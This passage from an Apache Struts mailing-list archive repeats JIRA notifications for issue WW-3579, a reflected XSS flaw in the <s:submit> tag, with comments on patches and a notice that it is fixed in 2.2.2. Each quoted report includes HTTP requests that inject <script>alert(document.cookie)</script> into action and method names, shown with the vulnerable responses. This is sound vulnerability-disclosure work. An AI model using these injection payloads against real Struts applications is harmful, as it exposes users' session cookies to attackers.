> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Resolved: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Lukasz Lenart resolved WW-3579.
-------------------------------

       Resolution: Fixed
    Fix Version/s: 2.2.2

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>             Fix For: 2.2.2
>
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Updated: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
     [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marian Ventuneac updated WW-3579:
---------------------------------

    Attachment:     (was: WW-3579.patch2)

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13000857#comment-13000857 ] 

Marian Ventuneac commented on WW-3579:
--------------------------------------


This looks good, did the patch passed the tests I provided for this issue (see the original post and the one following the first patch)?

Currently I can't build my version of Xwork - looks like some proxy issues. 

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13000859#comment-13000859 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

I don't see any test case in attached patches :-(

> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
